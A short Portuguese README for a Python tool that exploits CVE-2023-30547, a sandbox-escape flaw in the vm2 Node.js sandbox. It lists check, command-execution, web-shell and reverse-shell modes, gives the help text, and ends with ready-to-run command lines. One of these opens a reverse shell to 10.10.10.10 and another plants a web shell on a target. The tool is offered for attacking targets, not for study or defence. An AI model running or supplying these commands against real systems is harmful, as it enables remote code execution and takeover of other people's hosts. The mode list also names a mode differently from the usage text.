
Ferramenta para explorar CVE-2023-30547

vm2 é uma sandbox que pode executar código não confiável com módulos internos do Node na lista de permissões.
Existe uma vulnerabilidade na sanitização de exceções do vm2 para versões até 3.9.16, permitindo que atacantes levantem uma exceção do host não sanitizada dentro de handleException(), que pode ser usada para escapar da sandbox e executar código arbitrário no contexto do host.
Esta ferramenta é um simples script Python que pode ser usado para explorar a vulnerabilidade. Possui 4 modos:
check: verifica se o alvo é vulnerável.command_execution_execution: executa um comando no alvo.web_shell: abre um web shell no alvo.reverse_shell: abre um reverse shell no alvo.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'